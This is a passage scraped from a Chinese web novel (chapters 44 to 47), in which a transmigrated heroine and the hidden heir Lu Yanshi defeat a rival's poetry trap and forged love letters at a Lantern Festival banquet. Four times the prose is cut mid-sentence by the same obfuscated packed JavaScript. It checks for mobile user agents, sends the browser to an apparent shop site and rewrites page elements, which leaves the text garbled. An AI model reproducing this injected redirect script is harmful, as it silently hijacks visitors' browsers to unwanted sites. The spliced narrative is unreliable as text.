她到目前为止,基本已经成功回避了几条必死的路线,只要再努力一把苟到陆晏时登基就好,只是她自觉到底和陆晏时朋友一场,哪怕已经知道他的结局,也不免会为他将来要受的苦难担忧,所以就想要在最后相处的这段时间里对他再好一些。 “对了,元宵夜你来和我们一起吃顿饭吧,”沈望舒终于想起自己方才想要说的话,开口邀他,“届时把柳姑娘和梅公子一并邀来,大家一起热热闹闹过个元宵。” 陆晏时原本还因为这一盒墨而欢欣不已,一听见沈望舒的话,当即又蔫了下去——柳姑娘倒也罢了,怎么连梅停云的份也有?! 可他蔫归蔫,又哪里舍得拒绝沈望舒的邀约?当即脑袋一点应承了下来,他看着沈望舒乐呵呵地数着元宵宴上要请的宾客,看见她发髻中簪的那一支自己送的梅花素金簪,看得心里不断翻涌出一些不该有的、大胆的思绪来,叫他忍不住问了沈望舒一句:“你曾说过,以你的容貌资质,便是进宫里做娘娘也做得——是真心想要做娘娘吗?” 沈望舒却根本不记得自己什么时候说过这种话。 她思索了小半日,才终于想起在她生日宴上、被下了春药之后,在她被吴应春缠上的时候为了澄清自己而口不择言说出来的胡话,倒也难为陆晏时居然能记到现在。 但她也不着急回答陆晏时的问题,反问他:“好端端的,你问这个做什么?” 陆晏时被问得心里一跳。 他不敢说。 他不敢告诉沈望舒,在大年夜的那一日,被那个黑衣人找上门、告知自己身世的时候,陆晏时的脑子里十分可耻地想到了沈望舒那一日的戏言。 她想要做娘娘,而他如今竟真的有机会可以让她做娘娘了。 那一刻陆晏时欢喜的连心都在颤抖。 “我只是突然想起来了,”他压抑着心底翻滚的渴望,低声道,“就随便问一问。” “哦,”沈望舒不疑有他,随口回了句,“自然是不想的。” 陆晏时那颗滚烫的心登时间有如被桶凉水浇了个头,整个人如坠冰窟。 沈望舒却想,老娘好不容易费尽心机避开死亡路线,费尽心思地要少去跟陆晏时的后宫扯上关系,眼看着再苟上一年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127518|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半载就能拿钱回家,过上美美的退休生活,哪里有自己撞上去找死的道理? 可陆晏时却不死心,还要追问她:“为何不想?” 沈望舒又不能跟他说实话,想了想,回了句:“做娘娘再尊贵有什么意思?说来说去,不也还是妾么?” 陆晏时想也不想便回:“若是皇后呢,你想吗??” 只要她点一点头,陆晏时想。 只要沈望舒点一点头,他就想办法让她做世上最尊贵的女人,将世上所有的珍宝都捧到她的面前供她消遣,他的后宫之中也只会有她一个,只有她一个至高无上的皇后,决计不会再添一个新人。 他简直都想要求她点头了。 可沈望舒却十分不屑地笑了一声,道:“做皇后有什么了不起?不也一样要和一群女人一起分享一个丈夫,每天关在宫里祈求皇帝的恩宠吗?简直没劲透了。” 她来到这个世界里,只是一个匆匆的过客,也没想过要去做什么伟大的事业,去改变这个世界的格局和所有人的认知,但她到底还是个反封建小斗士,一说到这种话题的时候,总是忍不住要输出几句:“表面上看着皇后好像多金贵似的,可不也一样要匍匐在皇帝的脚边,去讨好那至高无上的当权者吗?说得好听是什么皇后,其实也不过就是穿着华贵的衣裳、戴着珍奇珠宝的奴隶罢了。” “在这皇权之下,所有人都是皇帝的奴隶,不论是他的妻子、儿子还是父母,”她讪笑一声,“在强权的压迫下装出一副爱奴隶主的样子,这种婚姻有什么意思。” 陆晏时听得心中无比震惊。 他长到现在的年纪,读了那样多的书,学的都是君臣之道,读的都是“君要臣死,臣不得不死”的道理,夫子们讲的也都是要如何效忠皇家、如何爱护百姓的事理,从未听过有人说过这样惊世骇俗的话。 她向来与众不同又精灵古怪,或许真的是从天上下凡来的仙子,才会讲出这般骇人听闻、又有三分道理的话来,叫陆晏时险些都要信服了。 沈妄姝被她口无遮拦的话吓了一跳,在她脑子里直跺脚:“你怎么什么话都往外说!不要命了你!” 眼前的人将来可是至高无上的皇帝!她在皇帝面前讲这样的话,就是把她当反贼治了都没人会替她争辩半句!沈妄姝生怕她自己作死,简直听得心惊肉跳。 沈望舒却不甚在意,笑道:“怕什么,他现在不也还是个穷书生吗?你们这时代也没有什么录音笔、手机录视频的,将来谁能证明我说过这种话?他再怎么说也是个男主角,不会因为这点小事记恨我的。” 她见陆晏时不说话,还要笑嘻嘻地去逗他:“怎么,吓着了?” 陆晏时却摇了摇头,道:“只是觉得姑娘这想法新颖,我从未听人讲过罢了。” “倒也不算多新颖,”沈望舒敢笑了一声,“有机会多看几本马克思,你也能学会。” 45.第四十五章 沈望舒这次将饭店定在了离沈府更近些的望江楼里,整栋望江楼依西湖而建,坐在楼上的包房里打开窗便可瞧见外面的湖光山色,其装潢虽说比不得醉仙楼那般奢华,但厨子的手艺却是拔尖的,据说还有个曾经做过御厨的老师傅,因而也算得上是杭州城内数一数二的酒楼了。 沈府定了一大一小两个相连在一起的包厢,大的由沈向远宴请亲友,小的就留给沈望舒做请客用的了。 她来这书里几个月,意外交了三个朋友,等这个年过完之后大家可能就要天各一方各奔前程,而沈望舒总有一日要回到自己的时代去与他们诀别,她多少还有些舍不得,便抓着机会再聚一聚了。 只是沈向远那里到底有些亲戚和亲信在,她不得不先过去招呼一下客人,叫陆晏时几人先吃。 可沈望舒不来,陆晏时又哪里有心思吃饭?桌上的美酒佳肴他看也不看一眼,一双眼睛几乎要黏在门上,仿佛他的眼神能穿透那一扇门、看见在门那头正跟人敬酒的沈望舒似的,梅停云看他那模样觉得好笑,实在没忍住,调侃了句:“人一会就回来了,跟个闺中怨妇似的盯那么紧做什么。” 他附在陆晏时耳边,神神秘秘地说了句:“我之前听人说过,都说时下女子都不喜欢太过难缠的男子,更喜欢那种英俊又冷漠的,你学着点。” “哦,”陆晏时头也不回,淡淡应了声,“我又不缠人。” 梅停云无言以对。 他们二人在这边交头接耳,那头的沈星遥则是心神不宁地左顾右盼了小半日,见沈望舒还没有要回来的样子,又去看了看坐在自己边上的柳半夏,干脆把心一横,冲柳半夏道:“柳姑娘,可否借一步说话?” 柳半夏自然说好,二人向陆晏时和梅停云打了招呼,便出了包厢,梅停云往那二人的方向看了看,问陆晏时:“他俩干啥去?” 陆晏时却是看都不多看他们二人一眼,随口应了声:“不知道。” 包厢外的走廊上也铺了层厚厚的地毯,脚踩上去时竟一点声音也没有,廊上的灯亮堂的好似白昼,食客的喧闹声充斥着整个酒楼,着实是热闹极了。 柳半夏前脚刚走出包厢,就听见沈星遥问她:“你近来如何了?” “倒也没什么事,”柳半夏笑了笑,“左右都是师兄咎由自取,我也做不了什么,只是十分对不起陆公子和沈姑娘,险些酿成大祸了。” “你那师兄本来就不是什么好东西,你替他对不起什么,”他一边说话,一边把一个信封塞进柳半夏的手里,道:“你拿着。” “这东西我也不知道何时给你好,想着你今儿也要过来,就给带来了。” 柳半夏有些狐疑地打开那个信封,将里头两张薄薄的纸抽了出来,甫一展开,那纸上的字就叫她的心怦怦跳个不止。 只见那纸头上用略带潦草的字迹写着:「今浙江长青县柳家庄人士柳大因度日困难,将女儿柳半夏以纹银二两卖与蒋义山为婢,自立契起柳半夏生死皆与柳家无关」,后头签了名字按了手印,还盖了官府的章,正是柳半夏的卖身契。 而另一张,则也是盖了官府章子的文件,却是用整齐的小楷所写,柳半夏并未仔细去看那上头的内容,却只瞧见一句「即日起消除柳半夏奴籍,归为良人。」 轻飘飘的两张纸,像座山一样压在她的身上,几乎涵盖了柳半夏的前半生。 柳半夏又惊又喜,眼睛鼻子也十分没出息地酸涩起来,险些掉了眼泪,她抬起头看向沈星遥,惊道:“公子是如何……如何……” “你那师兄都进牢里了,我拿捏他不是小事一桩吗?”难得沈望舒把这个出风头的机会让给了自己,沈星遥自然办的上心,前前后后都费力气去打点了,却还要在柳半夏跟前装出副游刃有余的模样,笑道,“走了些关系,就帮你都办好了。” 柳半夏实在忍不住,眼泪“啪嗒”一声流了下来,她忙不迭地去冲沈星遥行礼,道:“公子如此帮我,简直是我的大恩人,我竟也不知如何报答……公子花了多少钱,我将来一定都会尽数归还的。” “说什么呢,我沈星遥还能缺你那几两银不成?”沈星遥大手一挥,满不在乎地道,“我也不是拿这个要挟你要知恩图报的,更不希望你要因为这两张破纸就把我当恩人似的供起来,我就是喜欢你,想无条件对你好,不要你回报的。” 柳半夏哪里能想到他突然说出这样的话,登时一张脸红得好似有火在烧,连哭都忘了哭,整个人怔在原地,话都不知道要怎么接,沈星遥这才后知后觉地发现自己说了什么话,顿时也红了脸,手忙脚乱地解释道:“不是!不是,就是那个……” 他越说越乱,恨不得手脚并用地向她解释清楚,倒叫他看上去像个抓耳挠腮的猴子,急的都要原地打转:“就是那什么,我把你当朋友!对,朋友!” “今日若是,若是陆晏时遇到一样的事情,我也是这么帮他的,对!” 柳半夏还未来得及说些什么,突然听得身后的门被人打开,灿若朝光的沈望舒探出个脑袋来,奇怪道:“你俩躲外头干嘛呢?还不进来吃饭?” 活像个催孩子吃饭的妈。 沈星遥和柳半夏当即装作没事人一样进了屋,略带尴尬地回自己的座位上坐下了,沈望舒这才端起酒杯来,笑道:“好了,多的不说了,祝各位元宵快乐,也祝二位公子金榜题名、直上青云!” 众人当即起身与她碰杯,也跟着说了几句祝词,便有说有笑地吃起了酒,这一个冬天他们都过的甚是辛苦,一直到了今日才终于算是清闲了下来,想到不日就要各奔东西,免不得又有些惆怅了。 梅停云笑着说了句:“日后我一定回来再与各位相聚。” 沈星遥接了句:“好,到时候我一定在醉仙楼给你订桌大的!” 他们五人正说着话,沈望舒的侍女却突然推开了门进来,手里还端着一个青瓷的酒壶,走到沈望舒的桌前放下了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161544|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“小姐,这是隔壁送来的,说是元宵节给小姐助助兴。” 沈望舒有些诧异:“隔壁是谁?” 侍女道:“说是赵大人和虞夫人、虞小姐一家。” 沈望舒皱眉:“不可能这么巧吧?” 当然不可能这么巧。 显然是虞妙瑛一开始就找人打听了她要在哪里设宴,专程也来这里找她麻烦的,这酒送过来哪里是来助兴的?来索命的倒还差不多! 只是人家到底是做官的,前头有个本地的赵知府,后头还有个了不起的太常寺卿和太傅,她这小小的商人都哪里开罪得起?既然人家都已经挑衅上了门,她即便明知道前头有诈,也不得不在礼节上做到了位,必须要去隔壁那个包厢里,感谢几位大人的赐酒。 陆晏时倾过身来,道:“我与你一同去。” 沈望舒向来不怕事,又听得陆晏时要陪自己,当即站起身来,对侍女道:“去拿一壶梨花酒来,跟我走。” 她做好了准备走进了隔壁的包厢,却不想那包厢里满满当当坐着近二十个人,除开赵知府一家与虞妙瑛母女外,还有些少爷公子,有些沈望舒见过,有些没见过,一见有人推门进来,便齐刷刷地往门口看了过来。 “我去,这么多人,吓我一跳。”沈望舒在心里低骂了句,就听见沈妄姝慌忙问她:“你说虞妙瑛要做甚?” “不知道啊,”沈望舒摇了摇头,“兵来将挡水来土掩,走一步算一步吧。” 虞妙瑛今日终于不装出那一副简朴轻减的作态,穿了件碧色银丝玉锦儒裙,倒有几分世家贵女高高在上的气派,她一瞧见陆晏时进来,眼睛都好似亮了似的,冲他道:“怪不得邀陆公子不来,原是有美人作陪,不愿意搭理咱们了。” 她虽是在责怪陆晏时,语气里却偏偏还要带着几分娇嗔,仿若陆晏时与她多相熟似的,偏偏陆晏时一个榆木脑袋,听见这话也只是干巴巴地回了句“我与沈氏兄妹情同家人,元宵节本就该在一起团聚,”半点也不在乎虞妙瑛的示好。 赵知府人精一样,赶忙打哈哈,冲沈望舒和陆晏时笑道:“是的是的,陆公子得了沈家优待,自然是与沈家人更亲近些,只是此刻来都来了,就坐下来一起喝两杯,也就算赴了咱们虞小姐的宴了不是?” 沈望舒又哪里能推辞,只好拉着陆晏时坐下,想着先应付一下,之后再找机会开溜,却不想二人才一坐下,就听见虞妙瑛笑盈盈地对沈望舒说:“今日元宵佳节,可谓是灯树逛千照,天上月如云的好日子,最适合提笔赋诗了,方才我们在行飞花令,正玩到兴头上。” 虞妙瑛目光灼灼地盯着沈望舒那一张国色天香的脸,恨不得以目光将那羊脂玉一样的皮肤刮花了,说话时却还要端出一副温柔似水的腔调,一字一句道:“沈姑娘既然来了,不若也接着这样好的月色与光景做上一首诗,好给大家助助兴。” “哦,”沈望舒这下明白了,“原来在这儿等着我出丑呢。” 46.第四十六章 在沈望舒穿过来之前,沈妄姝这个草包美人的名号在江南可谓是人尽皆知。 即便是让她找到机会重活一世,沈妄姝这个没什么上取心的也只懂得一门心思地吊在陆晏时的身上,企图通过攀附皇权来实现爱情家庭双丰收的美梦,除了想尽浑身解数地去讨好陆晏时之外,再也没有重新读过什么书,那学问德行依旧一塌糊涂,性格也依旧嚣张又跋扈,除了国色天香的容貌之外浑身上下一无是处,简直都是家喻户晓的事情了。 虞妙瑛来江南半个多月,不可能不知这事,而在此时叫她赋诗,摆明了就是要给她难堪的。 宴上的人都是本地人士,又有谁不知道沈望舒不学无术的传闻?可众人却又都看热闹似的齐刷刷地向沈望舒看了过来,都想看她能念出什么诗来。 更有好事的当场供火道:“是啊是啊,沈姑娘莫要坏了大家的兴致!” “你若实在作不出来,就自罚三杯吧!” 他们这飞花令少说都要走上三五轮,一轮一轮地喝下来,沈望舒又如何受得了?可让她作诗的人又是太常寺卿的女儿,沈望舒又如何开罪得起?如今她是作诗也不是,不作诗也不是,俨然要成了别人的笑话了。 沈望舒反应却极快。 她既不说要作诗,也不说不作,而是当着众人的面摆出一副苦脸来,又有颗斗大的泪珠从眼眶滑落下来,可怜兮兮抬眼地道:“虞姑娘是瞧我哪里不顺眼,才故意这样为难我的吗?” “谁都晓得我不学无术,去学堂也不过打发打发日子,哪里作得什么诗?”她颇为幽怨地把话说了,又抽抽噎噎地看向方才起哄要她喝酒的人,哭哭啼啼地说道,“虞姑娘和这位公子想要取笑我,直接笑便是了,何苦又当着这样多的人来给我难堪呢?” 沈望舒低垂着眼,孤零零地站在灯光之下,恍若一阵风来就要被吹散的花,她不过说上三言两语,虞妙瑛就从高贵的世家女成了个仗势欺人的恶女,而她沈望舒则是纯真不谙世事的小白花,正被欺负的眼泪汪汪,好似春日里一枝带雨的梨花,瞧着真是可怜极了。 她们这些世家女子,最害怕的事情就是自己在外头名声不好,将来没办法嫁个良人,就算是虞妙瑛这样满肚子坏水、想尽法子要害人的,都要给自己套上一个知书达理、满腹经纶的皮囊来招摇撞骗,就算是遇上相互看不顺眼的闺秀,也没有这样直白的去扯头花的道理,又哪里受的了当着这样多的人面出这种丑? 偏偏沈望舒这人最不在乎的就是名声,还要破罐子破摔的把虞妙瑛也拉下水来。 沈妄姝正看着她哭闹,实在没忍住,说了句:“我早就想说了,你这眼泪怎么说来就来?” “我以前穷的揭不开锅的时候,梦想着能去横店演戏做女明星,在家偷偷练哭练了好多次,”沈望舒低下头去,以袖口擦拭了自己眼角的泪花,端出副柔弱无助的模样,心里还在和沈妄姝叨叨,“后来发现掉眼泪花子装绿茶这一招在我工作失误的时候巨好用,一般我解决不了的事情就先哭再说。” “美人落泪,多招人心疼呢,你说是不是?” 说罢她又往虞妙瑛身上瞥了一眼,笑道:“她这个小绿茶今天还穿身绿色来绿意盎然茶味加倍,老娘这就让她看看什么叫真的绿茶。” 她一哭,在场众人果然面面相觑,皆有些尴尬地看向虞妙瑛去,虞妙瑛尚未来得及解释一句,就见陆晏时突然端起酒杯来,二话不说地连着喝了三杯酒,末了他将酒杯一放,冲虞妙瑛道:“酒我已经替沈姑娘喝了。” 他站起身来,睨了一眼桌上的宾客,轻蔑似的说道:“诸位齐心刁难一位女子的行为着实令人不屑,陆某实在耻于与各位同坐一桌,这饭不吃也罢。” 他说完也不等众人反应,俯身下来对沈望舒道:“沈姑娘,我们走吧。” 如今他陆晏时再也不是从前那个贫穷困苦的书生了,虽然碍于眼下的情况他并不能表明自己的身份,可至少也不必再怕这些人仗势欺人,会在日后去找沈家人的麻烦了。 沈望舒不明所以,在心里问:“你哥哥真的没有OOC吗?” 沈妄姝至今不明白OOC是个什么意思,但她却清楚陆晏时为何会为沈望舒强出头,还未想好要不要跟她解释,却听得沈望舒又说了一句:“到底是孩子长大了,妈妈我好欣慰啊。” 沈妄姝:“?” 他们二人正起身要离席,才刚转过身要走,突然听见一醉熏熏的男声大喊道:“给我站住!” 沈望舒与陆晏时下意识回头去看,这才发现席间坐着个年轻男子,此人长相有些寒碜,生了一双绿豆大的小眼睛,脸却比马脸还长,瞧着颇有些滑稽,可他穿着却十分体面,做衣裳的料子瞧着也是上好的蜀锦,似乎是什么有钱人家的少爷,沈望舒看着他的模样,只觉得十分眼熟,却也一时间想不起来他是谁。 陆晏时却在看见那男子的长相时,下意识地往沈望舒身前走了一步,将那男子赤裸又下流的目光隔开了,那男子看见陆晏时这样护着沈望舒,更是气不打一出来,大骂道:“你这贱蹄子,跟了老子还不够,现在又包上小白脸了?!” 他一说话,沈望舒这终于想起来为何这人看着眼熟了,这不是她生日宴上那个被杜姨娘利用的吴应春吗! 那一日他们怕事情张扬出去对沈望舒不利,只把烂醉如泥的吴应春送回了家去,吴应春醒来也不知那时候的事情究竟是真是假,跟人说过几次,都被人嘲笑他几两黄汤下了肚,醉的不知自己几斤几两,癞蛤蟆想吃天鹅肉地肖想起了沈家大小姐,他被人说得多了也自觉无趣,就不再提这事了。 这吴应春一安分,沈望舒便以为此事就此揭过了,再加上她整日忙的脚不沾地,自然也就把这人忘到脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176173|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后去了,没想到今日还能见到他跳出来发疯,也不知打得什么主意。 陆晏时向来见不得有人这般欺凌沈望舒,皱着眉道:“你莫要血口喷人,平白污了沈姑娘清白!” 吴应春一听更是火大,抬起手来指着沈望舒骂道:“这贱人生日时邀我密会,还见天儿地写些情诗给我,被老子都不知道睡了多少次,如今在这里装什么呢?!” “怎么?玩够了就想甩了老子装不认识?你想得到美!” 陆晏时缺失气的脸都要红了,怒道:“你算是个什么东西,也配对她说这样的话?!” 他见不得旁人诋毁沈望舒,见不得别人拿这样下流又咸湿的表情在她的身上打量,更见不得吴应春明晃晃的觊觎与算计,一时间怒上心头,说起话来也顾不得什么克制与礼数了。 沈望舒却对他这副模样十分震惊,慌忙去问沈妄姝:“怎么回事?陆晏时他鬼上身了?” “你才鬼上身,”沈妄姝翻了个白眼,心想陆晏时都喜欢你喜欢到这个份上了,你竟然还在做睁眼瞎,半点都看不出来,忍不住就骂她,“你根本就是蠢鬼上身!无可救药!” 沈望舒非但看不出来,还下意识地往虞妙瑛的身上看了一眼——虞妙瑛到底还年轻,纵然心机深沉,面上却多少还有些藏不住事,正带着戏谑的笑容看着戏,要看沈望舒如何收场,显然今日一场闹剧与她脱不了关系。 此时桌上众人都往陆晏时、沈望舒和吴应春身上看了三个来回,见三人之间剑拔弩张,便有人出来接话说:“哎,陆兄弟也不能这样说呀,想来咱们吴兄也不会无缘无故、无凭无据的污蔑人嘛!” 沈望舒听见这话,突然从陆晏时的背后走了出来,抬手一指那人,笑道:“王公子,前日我才瞧见你在巷子里与三个大汉赤身裸体地交缠在一起,其中一个人还嫌弃你伺候的不够卖力,往你屁股上踹了一脚,怎么你今日伤就好了,还能坐在这里助纣为虐,帮着别人欺负我这个手无寸铁的姑娘了?” 那姓王的工资被沈望舒说得满面通红,大喝道:“胡说八道!” “那你证明我是胡说呀,”沈望舒笑出声来,“要不然王公子你脱了裤子叫大伙瞧瞧,你屁股上究竟有没有被人踹了个脚印?” “岂有此理!”王公子气的发抖,抬手指着沈望舒骂道,“你怎能如此张口就来,污蔑他人!” “你不脱裤子给大家看看,别人怎么知道我在污蔑你?”沈望舒半点不怕,反而还冷笑了一声,道“你既觉得我是在胡说八道,凭什么又觉得他吴应春不会无凭无据污蔑人了?简直可笑!” 她难得这样生气,连耳朵都有些发红,盯着那王公子一字一句地道:“因为我是个女人,就觉得我好欺负是吗?” 众人被她骂得有些羞愧,却听得吴应春大喝道:“谁无凭无据污蔑你了?!老子有证据!” 47.第四十七章 若是要是论起沈望舒最讨厌的竞争手段,那么造黄谣这件事可以评作当之无愧的第一。 不论是在哪一个时代里,女人,尤其是有些姿色有些名气的女人,她们的私生活、她们的贞洁与人际交往就会轻易的成为别人攻歼的目标,仿佛只要她们不再拥有所谓的处子纯洁,这些人就可以轻而易举地将她从高处拉下来,随着他们的喜好将她随意地踩进泥地里,像闻到了肉香的猎狗一般围剿上来,毫不留情地将她啃食殆尽。 沈望舒作为一个打小没了亲人的美貌孤儿,这一路摸爬滚打地长起来,被人在背后造过的黄谣没有一万也有八千,她却没有办法做到每一件事、每一个人都去逐一反驳,人家上下嘴皮子一翻就可以把她说成一个靠陪睡活下来、靠出卖色相获利的小婊子,她却要费劲九牛二虎之力去证明自己的清白,可又有谁愿意听?人家听过她的桃色秘闻,笑嘻嘻地当作茶余饭后的甜品,将她的血骨混在其中嚼碎了吞咽下去,却无从未有人在意过她付出的一切努力与艰辛,倒显得认真反驳的她像一个笑话,这样的次数多了,她索性也就不管了。 毕竟她要做的事情那么多,她的人生已经足够忙碌了,没有时间去把自己的体检报告拿出来叫每一个人都看一遍,只要顾着自己、把自己的日子过好就行了。 但她不去管,也不代表她喜欢被别人贴脸开大。 自吴应春喊出那句有证据之后,众人皆纷纷向他看去,方才被沈望舒骂得面上无光的王公子好似抓到了什么转机似的,忙不迭地接话道:“吴兄藏了什么好东西,还不赶紧拿出来叫大伙瞧瞧,省的叫沈姑娘说咱们平白无故的污她清白!” 吴应春嘿嘿一笑,从怀中摸出厚厚一沓信函来往桌上一甩,大声道:“这小贱人写给我的情书,我全都一封一封地收好了!” 众人纷纷拿起那些信来拆开查阅,顿时面上表情精彩纷呈,又以下流且玩味的表情往沈望舒身上看来,陆晏时皱着眉,也去拿了几封信来,和沈望舒一同看了起来。 那是一张又一张的花笺,上头或是梅花纹或是荷叶纹,张张都做的精美又漂亮,似乎还熏过香,拿在手里时有淡淡的香味飘来,都是寻常小姐常用的,而在那花笺的上头,则是用略显扭曲的字写了一段又一段的艳诗。 沈望舒匆匆往那信上看了一眼,就瞥见密密麻麻地写着些诸如「金针刺破桃花蕊,不敢高声暗皱眉」、「鸳鸯被里夜成双」、「妾身夜夜留半被,只待郎君入梦来」之类的艳诗,写得简直是下流又直白,看得人都要脸红了去,且每一张的花笺都落了沈妄姝的款,那字迹几乎快写的跟沈望舒本人的一模一样,比起当初杜姨娘写去骗吴应春的要像多了。 沈妄姝这下急了,赶忙去问沈望舒:“这可如何是好?!” 沈望舒还未来得及说些什么,就见那一头的虞妙瑛连连叹道:“这、这二位……可真是如胶似漆,情深意重。” 她红着脸,似乎她这未出阁的姑娘看见这些个东西多害羞似的,但她说完了,又轻声笑了一笑,道:“沈姑娘与吴公子两情相悦又情难自已,私相授受,倒也无可厚非,古人云‘有情人终成眷属’,今日又是元宵佳节,倒不如趁着好日子把这门亲事定下了,也算成就一段佳话,喜上加喜,更免得吴公子苦等,倒叫一片真心错付了。” “我倒是没想到,虞姑娘年纪轻轻的,竟有给我做娘亲的爱好,”沈望舒不着急反驳,冷笑了一声道,“这样着急给我指一门亲事,是迫不及待要给我做继母吗?” “也难怪了,我爹虽然年纪大了些,但到底还算英俊不凡,又是江南第一富豪,虞姑娘芳心暗许,倒也是正常。” “放肆!”虞夫人大怒,拍桌道,“口无遮拦!目无尊卑!怪不得会做出这样有辱门楣的事情!” “我辱不辱门楣,是你们这两个外人说的算的吗?”沈望舒半点不怕她,反而还讥笑道,“虞夫人先入了沈家的门,再来评判我是否真的有辱门楣罢!可惜虞夫人您年纪一把了,又已经为人妇多年,怕是竞争不过你女儿这碧玉年华的了。” 虞氏母女被她气的够呛,抬起手来指着她道:“你!” “我什么我,”沈望舒翻了个白眼,毫不客气地对虞妙瑛道,“你既然不想给我做娘,又不是什么了不得的皇后娘娘,哪来的本事给我指婚?上下嘴皮子一翻就要把我给嫁了,也不看看你算是个什么东西?” 虞妙瑛从未跟她这样会胡搅蛮缠的人吵过架,被她几句话说得是脸上一阵红一阵白,却听得吴应春横插一句:“你少在这里扯东扯西!如今人证物证俱在,你又要如何抵赖?!” “沈姑娘不必抵赖,”陆晏时将手里几封信随手往桌上一丢,抬起眼来盯着吴应春道,“因为这些信全都是伪造的。” 吴应春一同就急了,大吼道:“你胡说八道!何来的证据说我伪造?!” 陆晏时却伸手一指,说:“这五封信,有两封写在去年正月,其余则是六月、十月、和今年十二月各有一封,放了整整一年的时间,却连半点卷边、泛黄都没有,每张信笺全都崭新一样,连上头的熏香味都丝毫不减,显然都是新写的。” 沈望舒抬起头看了陆晏时一眼,似乎很是感谢他站出来为自己说话,陆晏时似有所感,侧过脸来看了一眼沈望舒,看见她正盯着自己的灼灼目光,心下不免一动,柔声道:“有我在,别害怕。” 沈望舒被他的话说得心里好似有小鹿在撞,她低声冲沈妄姝道:“……他还挺帅的。” “那当然了!!他能不帅吗!!”沈妄姝激动地好似自己终于卖出去一份安利、看见新入坑的同担一般,嗷嗷喊道,“他要是不这么帅,我又怎么可能连续两辈子都栽在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187979|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上!我跟你说你都不懂他到底有多好!呜呜呜……” 沈望舒那一点子心动被她两句话喊的灰飞烟灭,无奈道:“……忙着呢,你先别叫。” 面对陆晏时的质疑,吴应春自然是抵死不认,梗着脖子道:“那是老子珍惜这些东西和她的心意,都好好地收起来了,跟宝贝似的!” “谁知道这婊子睡完就不认人!” “大家都知道吴兄夜里头花样多,”有人调笑了一声,“人家娇滴滴一个大小姐,受不了你也是应该的。” 他话一说完,众人便哄堂大笑了起来,沈望舒听见他们的笑,只觉得这声音无比刺耳,叫她想起从前自己被人嚼舌根的日子,当即指着那人就道:“你知道得倒是清楚,是吴应春把那些花样都在你身上用过了吗?都有多叫人受不了,你说出来叫我们见识一下啊。” “你一个未出阁的姑娘,怎么能说出这样恬不知耻的话?!” 沈望舒哼了一声:“怎么,被我戳中心事,急了?” 那人与吴应春还想再骂,却听得陆晏时怒道:“够了!” 他忍着滔天的怒火、忍着想要冲上去打人的冲动,强迫自己冷静下来不与这些垃圾话辩驳,继续和众人说:“沈姑娘写这殊字时,最后一笔向来习惯向上带去一勾才收力,这信上的字却笔锋重在前头,显然不是同一人所写,诸位若是不信,可叫沈姑娘当场写来与它对比。” 说罢陆晏时又抬头去看吴应春,问道:“且按你方才所说,这些信笺你都仔细收着,今日又为何贴身带了这样多的信出来?” 陆晏时盯着吴应春,几乎要在吴应春的脸上盯出个洞来,他隐忍着怒意,大声道:“分明是你早就知道沈姑娘会出现在此,故意拿来构陷于她的!” 他话音才落,就听得身边的沈望舒又不紧不慢地接了一句:“姓吴的和他的狗头军师也算聪明,为了陷害我竟做了这样多的准备,连我都要忍不住为你们拍手叫好,只可惜你们千算万算,却算错了一件事。” 她慢悠悠地拿起一张花笺来,拿在手里抖了抖,笑道:“好叫你们这群没见识的开开眼,这花笺用的纸虽已经是上好的宣德纸,但这东西在我们沈家,却是连门房写记录的小厮都不用。” “本小姐自小到大,用的向来都是徽州歙县的凝霜纸!沈家账本上写得清清楚楚、明明白白,你们要是想看,我随时拿来给你们看!” 说罢她转过头去看了一眼坐在座位上一言不发的赵知府,一字一句道:“还请大人明察,还民女一个公道。” 他二人说完这些,包厢内窃窃私语声顿时不绝于耳,这事情如今闹成这样,断然不可能轻易收场,赵知府有些尴尬,正不知如何开口时,却听得包厢的大门“砰!”地一声被人用力推开,众人下意识闻声向门口看去。 竟是沈星遥来了。 48.第四十八章 